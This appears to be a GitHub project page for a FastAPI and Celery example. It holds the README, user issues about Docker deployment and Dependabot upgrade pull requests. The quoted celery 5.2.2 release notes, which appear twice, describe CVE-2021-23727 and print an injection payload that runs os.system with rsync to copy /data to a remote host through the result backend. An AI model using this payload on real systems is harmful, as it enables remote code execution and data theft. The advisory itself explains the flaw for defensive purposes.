FastAPI with Celery

Related tags

Task Queues python redis rabbitmq docker-compose celery flower fastapi
Overview

FastAPI with Celery

Minimal example utilizing FastAPI and Celery with RabbitMQ for task queue, Redis for Celery backend and flower for monitoring the Celery tasks.

Requirements

Run example

  1. Run command docker-compose upto start up the RabbitMQ, Redis, flower and our application/worker instances.
  2. Navigate to the http://localhost:8000/docs and execute test API call. You can monitor the execution of the celery tasks in the console logs or navigate to the flower monitoring app at http://localhost:5555 (username: user, password: test).

Run application/worker without Docker?

Requirements/dependencies

  • Python >= 3.7
  • RabbitMQ instance
  • Redis instance

The RabbitMQ, Redis and flower services can be started with docker-compose -f docker-compose-services.yml up

Install dependencies

Execute the following command: poetry install --dev

Run FastAPI app and Celery worker app

  1. Start the FastAPI web application with poetry run hypercorn app/main:app --reload.
  2. Start the celery worker with command poetry run celery worker -A app.worker.celery_worker -l info -Q test-queue -c 1
  3. Navigate to the http://localhost:8000/docs and execute test API call. You can monitor the execution of the celery tasks in the console logs or navigate to the flower monitoring app at http://localhost:5555 (username: user, password: test).
Comments
  • 关于send_task(task_name)的问题

    关于send_task(task_name)的问题

    我在启动时 celery -A example worker -l info -P eventlet 我在源码中print注册的task name，他是以example.xxx形式注册 和你在send_task(task_name)的形式并不相同，请问你是如何启动celery的能以app.celery_app.woker.exmple的形式send_task

    opened by heyfavour 3
  • No jobs work in AWS ubuntu server 20.04

    No jobs work in AWS ubuntu server 20.04

    Hi. I cloned on my local machine and tested and everything worked fine with Docker Desktop v4.12.0 in W10. Logging into AWS and cloning and running docker-compose up everything seems to work but the jobs never get out of PENDING state. bild bild bild

    I found this anomaly in the logs: bild It does not appear locally with docker desktop.

    Any ideas how to debug this?

    opened by dpriskorn 1
  • Bump pydantic from 1.6.1 to 1.6.2

    Bump pydantic from 1.6.1 to 1.6.2

    Bumps pydantic from 1.6.1 to 1.6.2.

    Release notes

    Sourced from pydantic's releases.

    v1.6.2 (2021-05-11)

    Security fix: Fix date and datetime parsing so passing either 'infinity' or float('inf') (or their negative values) does not cause an infinite loop, see security advisory CVE-2021-29510.

    Changelog

    Sourced from pydantic's changelog.

    v1.6.2 (2021-05-11)

    • Security fix: Fix date and datetime parsing so passing either 'infinity' or float('inf') (or their negative values) does not cause an infinite loop, See security advisory CVE-2021-29510
    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 1
  • Bump fastapi from 0.60.1 to 0.65.2

    Bump fastapi from 0.60.1 to 0.65.2

    ⚠️ Dependabot is rebasing this PR ⚠️

    Rebasing might not happen immediately, so don't worry if this takes some time.

    Note: if you make any changes to this PR yourself, they will take precedence over the rebase.

    Bumps fastapi from 0.60.1 to 0.65.2.

    Release notes

    Sourced from fastapi's releases.

    0.65.2

    Security fixes

    This change fixes a CSRF security vulnerability when using cookies for authentication in path operations with JSON payloads sent by browsers.

    In versions lower than 0.65.2, FastAPI would try to read the request payload as JSON even if the content-type header sent was not set to application/json or a compatible JSON media type (e.g. application/geo+json).

    So, a request with a content type of text/plain containing JSON data would be accepted and the JSON data would be extracted.

    But requests with content type text/plain are exempt from CORS preflights, for being considered Simple requests. So, the browser would execute them right away including cookies, and the text content could be a JSON string that would be parsed and accepted by the FastAPI application.

    See CVE-2021-32677 for more details.

    Thanks to Dima Boger for the security report! 🙇🔒

    Internal

    0.65.1

    Security fixes

    0.65.0

    Breaking Changes - Upgrade

    • ⬆️ Upgrade Starlette to 0.14.2, including internal UJSONResponse migrated from Starlette. This includes several bug fixes and features from Starlette. PR #2335 by @​hanneskuettner.

    Translations

    Internal

    0.64.0

    Features

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 1
  • Bump celery from 4.4.6 to 5.2.2

    Bump celery from 4.4.6 to 5.2.2

    Bumps celery from 4.4.6 to 5.2.2.

    Release notes

    Sourced from celery's releases.

    5.2.2

    Release date: 2021-12-26 16:30 P.M UTC+2:00

    Release by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      {
      "exc_module": "os",
      'exc_type': "system",
      "exc_message": "rsync /data [email protected]:~/data"
}

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    v5.2.1

    Release date: 2021-11-16 8.55 P.M UTC+6:00

    Release by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.
    • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

    ... (truncated)

    Changelog

    Sourced from celery's changelog.

    5.2.2

    :release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz

    • Various documentation fixes.

    • Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

      When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data [email protected]:~/data") by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data [email protected]:~/data as the exception arguments like so:

      .. code-block:: python

        {
        "exc_module": "os",
        'exc_type': "system",
        "exc_message": "rsync /data [email protected]:~/data"
  }

      According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

    .. _version-5.2.1:

    5.2.1

    :release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin

    • Fix rstrip usage on bytes instance in ProxyLogger.
    • Pass logfile to ExecStop in celery.service example systemd file.
    • fix: reduce latency of AsyncResult.get under gevent (#7052)
    • Limit redis version: <4.0.0.
    • Bump min kombu version to 5.2.2.

    ... (truncated)

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 1
  • Containerize the whole project

    Containerize the whole project

    Hi, thank you for the great tutorial.

    Do you have any idea how we could completely containerize the project? I'm struggling with the docker-compose.yml, trying to containerize the API as well as the worker. Doing as in the file below doesn't run neither the API nor the worker.

    version: "2"

services:
  rabbitmq:
    image: "bitnami/rabbitmq:3.7"
    ports:
      - "4369:4369"
      - "5672:5672"
      - "25672:25672"
      - "15672:15672"
    volumes:
      - "rabbitmq_data:/bitnami"

  redis:
    image: "bitnami/redis:5.0.4"
    environment:
      - REDIS_PASSWORD=password123
    ports:
      - "6379:6379"
    volumes:
      - "redis_data:/bitnami/redis/data"

  celery-flower:
    image: gregsi/latest-celery-flower-docker:latest
    environment:
      - AMQP_USERNAME=user
      - AMQP_PASSWORD=bitnami
      - AMQP_ADMIN_USERNAME=user
      - AMQP_ADMIN_PASSWORD=bitnami
      - AMQP_HOST=rabbitmq
      - AMQP_PORT=5672
      - AMQP_ADMIN_HOST=rabbitmq
      - AMQP_ADMIN_PORT=15672
      - FLOWER_BASIC_AUTH=user:test
    ports:
      - "5555:5555"

  api:
    build:
      context: src/api_dir
      dockerfile: Dockerfile
    ports:
      - "8000:8000"
    depends_on:
      - redis
    restart: always
    volumes:
      - "public:/app/public"

  worker:
    build:
      context: src/api_dir
    command: celery worker -A path.to.worker -l info -Q queue -c 2
    depends_on:
      - redis
    volumes:
      - "public:/app/public"

volumes:
  rabbitmq_data:
    driver: local
  redis_data:
    driver: local
  public:
    driver: local
    opened by antisrdy 1
  • Bump uvicorn from 0.8.3 to 0.11.7

    Bump uvicorn from 0.8.3 to 0.11.7

    Bumps uvicorn from 0.8.3 to 0.11.7.

    Release notes

    Sourced from uvicorn's releases.

    Version 0.11.7

    0.11.7

    • SECURITY FIX: Prevent sending invalid HTTP header names and values.
    • SECURITY FIX: Ensure path value is escaped before logging to the console.

    Version 0.11.6

    • Fix overriding the root logger.

    Version 0.11.5

    • Revert "Watch all files, not just .py" due to unexpected side effects.
    • Revert "Pass through gunicorn timeout config." due to unexpected side effects.

    Version 0.11.4

    • Use watchgod, if installed, for watching code changes.
    • Reload application when any files in watched directories change, not just .py files.
    Changelog

    Sourced from uvicorn's changelog.

    0.11.7

    • SECURITY FIX: Prevent sending invalid HTTP header names and values.
    • SECURITY FIX: Ensure path value is escaped before logging to the console.

    0.11.6

    • Fix overriding the root logger.

    0.11.5

    • Revert "Watch all files, not just .py" due to unexpected side effects.
    • Revert "Pass through gunicorn timeout config." due to unexpected side effects.

    0.11.4

    • Use watchgod, if installed, for watching code changes.
    • Watch all files, not just .py.
    • Pass through gunicorn timeout config.

    0.11.3

    • Update dependencies.

    0.11.2

    • Don't open socket until after application startup.
    • Support --backlog.

    0.11.1

    • Use a more liberal h11 dependency. Either 0.8.* or `0.9.*``.

    0.11.0

    • Fix reload/multiprocessing on Windows with Python 3.8.
    • Drop IOCP support. (Required for fix above.)
    • Add uvicorn --version flag.
    • Add --use-colors and --no-use-colors flags.
    • Display port correctly, when auto port selection isused with --port=0.

    0.10.8

    • Fix reload/multiprocessing error.

    0.10.7

    • Use resource_sharer.DupSocket to resolve socket sharing on Windows.

    0.10.6

    Commits

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • Celery and FastApi containers not working

    Celery and FastApi containers not working

    ERROR:

    packages/kombu/utils/compat.py", line 82, in entrypoints
    for ep in importlib_metadata.entry_points().get(namespace, [])
AttributeError: 'EntryPoints' object has no attribute 'get'
    opened by EncelBread 0
Owner
Grega Vrbančič
Young Researcher at University of Maribor, Faculty of Electrical Engineering and Computer Science
Grega Vrbančič
GitHub
Asynchronous tasks in Python with Celery + RabbitMQ + Redis

python-asynchronous-tasks Setup & Installation Create a virtual environment and install the dependencies: $ python -m venv venv $ source env/bin/activ

Valon Januzaj 40 Dec 3, 2022
Django database backed celery periodic task scheduler with support for task dependency graph

Djag Scheduler (Dj)ango Task D(AG) (Scheduler) Overview Djag scheduler associates scheduling information with celery tasks The task schedule is persis

Mohith Reddy 3 Nov 25, 2022
Clearly see and debug your celery cluster in real time!

Clearly see and debug your celery cluster in real time! Do you use celery, and monitor your tasks with flower? You'll probably like Clearly! ?? Clearl

Rogério Sampaio de Almeida 364 Jan 2, 2023
Queuing with django celery and rabbitmq

queuing-with-django-celery-and-rabbitmq Install Python 3.6 or above sudo apt-get install python3.6 Install RabbitMQ sudo apt-get install rabbitmq-ser

null 1 Dec 22, 2021
Fully Automated YouTube Channel ▶️with Added Extra Features.

Fully Automated Youtube Channel ▒█▀▀█ █▀▀█ ▀▀█▀▀ ▀▀█▀▀ █░░█ █▀▀▄ █▀▀ █▀▀█ ▒█▀▀▄ █░░█ ░░█░░ ░▒█░░ █░░█ █▀▀▄ █▀▀ █▄▄▀ ▒█▄▄█ ▀▀▀▀ ░░▀░░ ░▒█░░ ░▀▀▀ ▀▀▀░

sam-sepiol 249 Jan 2, 2023
FastAPI with Celery

Minimal example utilizing fastapi and celery with RabbitMQ for task queue, Redis for celery backend and flower for monitoring the celery tasks.

Grega Vrbančič 371 Jan 1, 2023
A simple docker-compose app for orchestrating a fastapi application, a celery queue with rabbitmq(broker) and redis(backend)

fastapi - celery - rabbitmq - redis -> Docker A simple docker-compose app for orchestrating a fastapi application, a celery queue with rabbitmq(broker

Kartheekasasanka Kaipa 83 Dec 19, 2022
FastAPI-PostgreSQL-Celery-RabbitMQ-Redis bakcend with Docker containerization

FastAPI - PostgreSQL - Celery - Rabbitmq backend This source code implements the following architecture: All the required database endpoints are imple

Juan Esteban Aristizabal 54 Nov 26, 2022
基于Pytorch的脚手架项目，Celery+FastAPI+Gunicorn+Nginx+Supervisor实现服务部署，支持Docker发布

cookiecutter-pytorch-fastapi 基于Pytorch的 脚手架项目 按规范添加推理函数即可实现Celery+FastAPI+Gunicorn+Nginx+Supervisor+Docker的快速部署 Requirements Python >= 3.6 with pip in

null 17 Dec 23, 2022
MLflow App Using React, Hooks, RabbitMQ, FastAPI Server, Celery, Microservices

Katana ML Skipper This is a simple and flexible ML workflow engine. It helps to orchestrate events across a set of microservices and create executable

Tom Xu 8 Nov 17, 2022
Simple example of FastAPI + Celery + Triton for benchmarking

You can see the previous work from: https://github.com/Curt-Park/producer-consumer-fastapi-celery https://github.com/Curt-Park/triton-inference-server

Jinwoo Park (Curt) 37 Dec 29, 2022
Real-time monitor and web admin for Celery distributed task queue

Flower Flower is a web based tool for monitoring and administrating Celery clusters. Features Real-time monitoring using Celery Events Task progress a

Mher Movsisyan 5.5k Dec 28, 2022
Flower is a web based tool for monitoring and administrating Celery clusters.

Real-time monitor and web admin for Celery distributed task queue

Mher Movsisyan 5.5k Jan 2, 2023
Inject an ID into every log message from a Django request. ASGI compatible, integrates with Sentry, and works with Celery

Django GUID Now with ASGI support! Django GUID attaches a unique correlation ID/request ID to all your log outputs for every request. In other words,

snok 300 Dec 29, 2022
A Django chatbot that is capable of doing math and searching Chinese poet online. Developed with django, channels, celery and redis.

Django Channels Websocket Chatbot A Django chatbot that is capable of doing math and searching Chinese poet online. Developed with django, channels, c

Yunbo Shi 8 Oct 28, 2022
Asynchronous tasks in Python with Celery + RabbitMQ + Redis

python-asynchronous-tasks Setup & Installation Create a virtual environment and install the dependencies: $ python -m venv venv $ source env/bin/activ

Valon Januzaj 40 Dec 3, 2022
A Django email backend that uses a celery task for sending the email.

django-celery-email - A Celery-backed Django Email Backend A Django email backend that uses a Celery queue for out-of-band sending of the messages. Wa

Paul McLanahan 430 Dec 16, 2022
Backend Boilerplate using Django,celery,Redis

Backend Boilerplate using Django,celery,Redis

Daniel Mawioo 2 Sep 14, 2022
A server shell for you to play with Powered by Django + Nginx + Postgres + Bootstrap + Celery.

A server shell for you to play with Powered by Django + Nginx + Postgres + Bootstrap + Celery.

Mengting Song 1 Jan 10, 2022
Integarting Celery with Django to asynchronous tasks 📃

Integrating ?? Celery with Django via Redis server ,To-Do asynchronously ??task without stopping the main-flow ?? of Django-project . It increase your speed ?? and user experience ?? of website

Rushi Patel 4 Jul 15, 2022